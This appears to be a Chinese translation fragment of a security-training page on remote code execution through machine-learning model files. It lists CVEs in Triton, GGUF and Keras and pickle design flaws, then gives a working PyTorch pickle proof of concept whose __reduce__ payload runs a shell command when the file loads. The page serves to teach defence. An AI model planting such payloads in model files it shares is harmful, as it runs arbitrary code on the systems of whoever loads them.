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Translated ['src/AI/AI-Models-RCE.md'] to zh
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| **NVIDIA Triton Server** | **CVE-2023-31036** (路径遍历) | 使用启用 `--model-control` 的模型加载 API 允许相对路径遍历以写入文件(例如,覆盖 `.bashrc` 以实现 RCE) | |
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| **GGML (GGUF 格式)** | **CVE-2024-25664 … 25668** (多个堆溢出) | 格式错误的 GGUF 模型文件导致解析器中的堆缓冲区溢出,使得在受害者系统上执行任意代码 | |
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| **Keras (旧格式)** | *(无新 CVE)* 旧版 Keras H5 模型 | 恶意 HDF5 (`.h5`) 模型中的 Lambda 层代码在加载时仍然执行(Keras 安全模式不覆盖旧格式 – “降级攻击”) | |
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| **其他** (一般) | *设计缺陷* – Pickle 序列化 | 许多 ML 工具(例如,基于 pickle 的模型格式,Python `pickle.load`)将执行嵌入模型文件中的任意代码,除非采取缓解措施 | |
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| **其他** (一般) | *设计缺陷* – Pickle 序列化 | 许多 ML 工具(例如,基于 pickle 的模型格式,Python `pickle.load`)将在未缓解的情况下执行嵌入模型文件中的任意代码 | |
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此外,还有一些基于 Python pickle 的模型,例如 [PyTorch](https://github.com/pytorch/pytorch/security) 使用的模型,如果不使用 `weights_only=True` 加载,则可能会在系统上执行任意代码。因此,任何基于 pickle 的模型可能特别容易受到此类攻击,即使它们未在上表中列出。
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示例:
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- 创建模型:
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```python
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# attacker_payload.py
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import torch
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import os
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class MaliciousPayload:
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def __reduce__(self):
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# This code will be executed when unpickled (e.g., on model.load_state_dict)
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return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
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# Create a fake model state dict with malicious content
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malicious_state = {"fc.weight": MaliciousPayload()}
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# Save the malicious state dict
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torch.save(malicious_state, "malicious_state.pth")
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```
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- 加载模型:
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```python
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# victim_load.py
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import torch
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import torch.nn as nn
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class MyModel(nn.Module):
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def __init__(self):
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super().__init__()
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self.fc = nn.Linear(10, 1)
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model = MyModel()
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# ⚠️ This will trigger code execution from pickle inside the .pth file
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model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
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# /tmp/pwned.txt is created even if you get an error
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```
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{{#include ../banners/hacktricks-training.md}}
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